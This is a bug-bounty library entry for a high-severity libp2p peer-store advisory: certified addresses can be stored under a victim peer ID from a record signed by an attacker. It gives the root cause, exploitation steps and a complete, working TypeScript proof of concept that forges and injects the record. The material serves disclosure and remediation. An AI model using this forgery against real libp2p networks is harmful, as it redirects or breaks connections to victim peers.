# libp2p: PeerStore accepts attacker-signed PeerRecords for a victim peer ID and stores certified attacker addresses

libp2p peer-store verified envelope signatures but not that the signer matched the payload peer ID, letting attackers store certified addresses for victim peers.

- Payout: Research
- Severity: high
- Program: libp2p
- Found by: Alleysira
- Disclosed: 2026-09-17
- CVE: CVE-2026-86039
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-vrf4-mx87-p53w
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-vrf4-mx87-p53w
- Tags: area:devices domain:network domain:oss impact:dos impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration

**Target:** @libp2p/peer-store consumePeerRecord / gossipsub peer exchange
**Root cause:** consumePeerRecord verifies the RecordEnvelope signature and compares expectedPeer only to the envelope signer, but never checks that the signer equals the peerId decoded from the attacker-controlled payload before patching addresses under that peerId.
**Steps:**
1. Build a PeerRecord with `peerId: victim`, `multiaddrs: [attackerAddr]`, high seqNumber.
2. Seal it with the attacker key: `RecordEnvelope.seal(forgedRecord, attackerKey)`.
3. Call `peerStore.consumePeerRecord(forgedEnvelope.marshal(), { expectedPeer: attacker })` emulating gossipsub PX where `pi.peerID` is the attacker.
4. Observe it returns true and `peerStore.get(victim)` now lists the attacker multiaddr with `isCertified: true`.
**How found:** Code reading of consumePeerRecord: noticed the expectedPeer check compares only against the envelope signer while the storage key comes from the decoded payload peerId; compared against protocol-identify's existing signer==peerId check as reference behavior.
**Exploitation:** Attacker participates in gossipsub peer exchange, sets pi.peerID to their own ID, signs an envelope with their key wrapping a PeerRecord claiming the victim peer ID and attacker multiaddrs. The store accepts it and records certified addresses under the victim, which dial address sorting prefers, redirecting or breaking future dials to the victim.
**Insight:** When a signed envelope wraps a self-describing payload, the identity used as storage key must be cross-checked against the verified signer; look for sibling modules (here protocol-identify) that already enforce the invariant as a diff signal.

## Proof of concept (copied exactly from the original report)

**TypeScript PoC forging victim PeerRecord signed by attacker**

```
// TypeScript ESM PoC.
import { strict as assert } from 'node:assert'
import { generateKeyPair } from '@libp2p/crypto/keys'
import { defaultLogger } from '@libp2p/logger'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { PeerRecord, RecordEnvelope } from '@libp2p/peer-record'
import { persistentPeerStore } from '@libp2p/peer-store'
import { multiaddr } from '@multiformats/multiaddr'
import { MemoryDatastore } from 'datastore-core/memory'
import { TypedEventEmitter } from 'main-event'

const label = 'Certified peer-record address hijack'

async function main (): Promise<void> {
  const localKey = await generateKeyPair('Ed25519')
  const attackerKey = await generateKeyPair('Ed25519')
  const victimKey = await generateKeyPair('Ed25519')

  const attacker = peerIdFromPrivateKey(attackerKey)
  const victim = peerIdFromPrivateKey(victimKey)
  const attackerAddr = multiaddr('/ip4/203.0.113.66/tcp/4001')

  const peerStore = persistentPeerStore({
    peerId: peerIdFromPrivateKey(localKey),
    datastore: new MemoryDatastore(),
    events: new TypedEventEmitter(),
    logger: defaultLogger()
  })

  // Payload claims victim, but the envelope is signed by attacker.
  const forgedRecord = new PeerRecord({
    peerId: victim,
    multiaddrs: [attackerAddr],
    seqNumber: 999999n
  })
  const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey)

  // Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker.
  const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), {
    expectedPeer: attacker
  })

  assert.equal(accepted, true)

  const poisonedVictim = await peerStore.get(victim)
  assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) => ({
    multiaddr: multiaddr.toString(),
    isCertified
  })), [{
    multiaddr: attackerAddr.toString(),
    isCertified: true
  }])

  console.log(`${label} reproduced`)
  console.log(`attacker signer: ${attacker}`)
  console.log(`victim storage key: ${victim}`)
  console.log(`stored certified address: ${attackerAddr}`)
}

main().catch(err => {
  console.error(err)
  process.exitCode = 1
})
```

